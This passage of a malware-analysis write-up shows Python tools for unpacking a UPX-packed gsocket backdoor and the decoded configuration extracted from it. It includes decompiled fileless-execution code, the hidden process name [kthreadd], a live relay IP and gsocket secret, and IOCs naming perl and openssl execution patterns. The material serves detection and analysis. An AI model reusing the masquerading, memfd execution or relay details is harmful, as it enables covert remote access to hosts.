        hint = ("\n       next b_info @0x%X has b_ftid=0x%02X (a UPX filter, e.g. 0x49"
                "\n       = ctojr x86 call/jmp transform). Filters are not implemented"
                "\n       here; the samples this was written for use b_ftid=0."
                % (off, probe[3]))
    elif probe and probe[2] != M_NRV2E_LE32:
        hint = ("\n       next b_info @0x%X has method=%d, not %d (NRV2E_LE32)."
                % (off, probe[2], M_NRV2E_LE32))
    sys.exit("ERROR: blocks sum to %d, expected %d (tail chain not found)%s"
             % (seen, total_wanted, hint))


def original_regions(hdr, filesize, hdr_size):
    """Rebuild the original file's layout (offset, size) from its phdrs.

    The Ehdr+phdrs are always stored as their own first block, so the opening
    PT_LOAD region is split at that boundary.
    """
    e_phoff = struct.unpack_from('<Q', hdr, 0x20)[0]
    e_phentsize = struct.unpack_from('<H', hdr, 0x36)[0]
    e_phnum = struct.unpack_from('<H', hdr, 0x38)[0]
    loads = []
    for i in range(e_phnum):
        p = struct.unpack_from('<IIQQQQQQ', hdr, e_phoff + i * e_phentsize)
        if p[0] == 1:                       # PT_LOAD
            loads.append((p[2], p[5]))      # (p_offset, p_filesz)
    loads.sort()

    regions, cursor = [(0, hdr_size)], hdr_size
    for p_offset, p_filesz in loads:
        if p_offset > cursor:               # padding between segments
            regions.append((cursor, p_offset - cursor))
            cursor = p_offset
        end = p_offset + p_filesz
        if end > cursor:
            regions.append((cursor, end - cursor))
            cursor = end
    if filesize > cursor:                   # shdrs / .shstrtab / .comment
        regions.append((cursor, filesize - cursor))
    return regions


# ---------------------------------------------------------------------- main

def main():
    if len(sys.argv) != 3:
        sys.exit(__doc__.strip())
    packed, out_path = sys.argv[1], sys.argv[2]
    d = open(packed, 'rb').read()

    if d[:4] != b'\x7fELF':
        sys.exit("ERROR: %s is not an ELF file" % packed)

    l_info = find_l_info(d)
    p_progid, p_filesize, p_blocksize = struct.unpack_from('<III', d, l_info + 12)
    print("l_info          @ 0x%X" % l_info)
    print("p_info.filesize   %d (0x%X)" % (p_filesize, p_filesize))

    blocks = collect_blocks(d, l_info, p_filesize)
    print("\nblocks found: %d" % len(blocks))
    for off, sz_unc, sz_cpr in blocks:
        print("  b_info @0x%06X  unc=%-9d cpr=%-9d" % (off, sz_unc, sz_cpr))

    chunks = {}
    for off, sz_unc, sz_cpr in blocks:
        chunks.setdefault(sz_unc, []).append(
            nrv2e_decompress(d[off + 12:off + 12 + sz_cpr], sz_unc))

    # Block 0 is always the original Ehdr + phdrs.  UPX stores it with its
    # e_ident magic zeroed in these samples; restore it so the phdrs parse.
    hdr = bytearray(chunks[blocks[0][1]][0])
    hdr[0:4] = b'\x7fELF'
    chunks[blocks[0][1]][0] = bytes(hdr)

    regions = original_regions(hdr, p_filesize, blocks[0][1])
    print("\noriginal layout:")
    img = bytearray(p_filesize)
    for offset, size in regions:
        if not chunks.get(size):
            sys.exit("ERROR: no block of size %d for region @0x%X" % (size, offset))
        data = chunks[size].pop(0)
        img[offset:offset + size] = data
        print("  0x%08X +0x%-8X (%d bytes)" % (offset, size, size))

    open(out_path, 'wb').write(bytes(img))

    e_shoff = struct.unpack_from('<Q', img, 0x28)[0]
    e_shentsize = struct.unpack_from('<H', img, 0x3A)[0]
    e_shnum = struct.unpack_from('<H', img, 0x3C)[0]
    print("\nwrote %s (%d bytes)" % (out_path, len(img)))
    print("sha256          %s" % hashlib.sha256(img).hexdigest())
    print("e_shoff=%d e_shnum=%d -> shdr table ends at %d %s"
          % (e_shoff, e_shnum, e_shoff + e_shnum * e_shentsize,
             "(== file size, layout consistent)"
             if e_shoff + e_shnum * e_shentsize == len(img) else "(MISMATCH)"))


if __name__ == '__main__':
    main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import struct, sys

class Bits:
    def __init__(self, src):
        self.src = src; self.ip = 0; self.bb = 0; self.bc = 0
    def getbit(self):
        if self.bc == 0:
            self.bb = int.from_bytes(self.src[self.ip:self.ip+4], 'little')
            self.ip += 4; self.bc = 32
        bit = (self.bb >> 31) & 1
        self.bb = (self.bb << 1) & 0xffffffff
        self.bc -= 1
        return bit
    def byte(self):
        b = self.src[self.ip]; self.ip += 1; return b

def nrv2e(src, expected_len=None):
    s = Bits(src); op = bytearray(); last_m_off = 1
    while True:
        while s.getbit():
            op.append(s.byte())
            if expected_len and len(op) >= expected_len: return bytes(op)
        m_off = 1
        while True:
            m_off = m_off*2 + s.getbit()
            if s.getbit(): break
            m_off = (m_off-1)*2 + s.getbit()
        if m_off == 2:
            m_off = last_m_off
            m_len = s.getbit()
        else:
            m_off = (m_off-3)*256 + s.byte()
            if m_off == 0xffffffff: break
            m_len = (m_off ^ 0xffffffff) & 1
            m_off >>= 1
            m_off += 1
            last_m_off = m_off
        if m_len:
            m_len = 1 + s.getbit()
        elif s.getbit():
            m_len = 3 + s.getbit()
        else:
            m_len = 1
            while True:
                m_len = m_len*2 + s.getbit()
                if s.getbit(): break
            m_len += 3
        if m_off > 0x500: m_len += 1
        for _ in range(m_len + 1):
            op.append(op[len(op)-m_off])
        if expected_len and len(op) >= expected_len: return bytes(op)
    return bytes(op)

Which produces the final original gsocket binary used.

Hash
0a7d5cd06f45e3cffae73ec02f4b572faa4a062b798ff3050c8742cc66a3d75a

Config Extraction from gsocket

Tool gsocket is capable of storing its configuration inside itself. This sample uses this approach and configuration is stored in the last 664 bytes of the file.

The configuration is in the full ELF, i.e. the UPX-packed one, the unpacked is the original gsocket compilation used, but it does not contain the configuration.

The whole config blob is xored with 0xab by default and the magic string with 0x1f.

It is found in sub_2d7d0 in the sample. In this case the file.dat embedded config is 664 bytes.

1
2
3
4
fseek(fp, -0x298, SEEK_END);        /* last 664 bytes of the file          */
fread(buf, 0x298, 1, fp);
for (i = 0; i < 0x298; i++) buf[i] ^= 0xAB;          /* XOR de-obfuscation */
/* verify magic at buf[0x290] == "8xKd12TX" ^ 0x1F                          */

Here is its decompilation seen in ghidra.

The decoded configuration stored is this.

Decoded configuration

OffsetFieldValue
0x000GS_HOST (GSRN relay)103.253.27.96
0x080GS_PROC_HIDDENNAME[kthreadd]
0x0C0GS_PORT443
0x0C4beacon / delay-start0 (disabled)
0x0CCflags0x00480140
0x0D0GS_SECRET4jkuTMcyat7L6eAGJCn93t
0x290magic8xKd12TX (stored ^0x1F, whole blob ^0xAB)

As GS_PROC_HIDDENNAME is configured gsocket relaunches itself again with execve() so the final process name is [kthreadd].

Also is worth noting that gsocket can fall-back to /dev/shm.

1
2
3
argv[0] = hidden_name;
if (gopt.flags & GSC_FL_MEMEXEC) { unsetenv("GS_NOMEMEXEC"); try_memexecme(hidden_name, src, argv); }
try_cpexecme(hidden_name, "/dev/shm", src, argv);

If memfd_create fails, it falls back to copying itself into /dev/shm and exec’ing from there. So on a host where memexec was blocked, you’d have a real file on disk in /dev/shm

IOCs

Network

  • 103.253.27.96:443 — private GSRN relay (outbound TLS-looking, long-lived, low-volume, keep-alive pattern)
  • gs.thc.org — compiled-in fallback relay
  • gsocket secret 4jkuTMcyat7L6eAGJCn93t (identifies the campaign/operator)

Host

  • Process shown as [kthreadd] whose /proc/<pid>/cmdline is non-empty, PPID != 2, and which has established sockets.
  • /proc/<pid>/exe/memfd: (deleted) — any such process is worth investigating; combined with a network connection it is near-conclusive.
  • /proc/<pid>/maps containing /memfd:.
  • A shell script whose third line is a single, newline-free, multi-hundred-kilobyte blob and whose first eval is assembled from backtick fragments.
  • Command line perl -e$^F=255;for(319,279,385,... or any syscall + /proc/$$/fd/ combination.
  • sh -c children of perl running openssl enc -d -aes-256-cbc -md sha256 -nosalt -k.

Hashes

ArtifactSHA-256
netd.sh (dropper)532015ceef91eff71878ee50e84efb8902d78bb5c34db25a241c5866784a840e
decrypted UPX-packed ELF89e906327d8e85067e16f3eb077a4a891fd01773460363b235918035314703ea
unpacked gsocket0a7d5cd06f45e3cffae73ec02f4b572faa4a062b798ff3050c8742cc66a3d75a

Malware Bazaar Reference

This post is licensed under CC BY 4.0 by the author.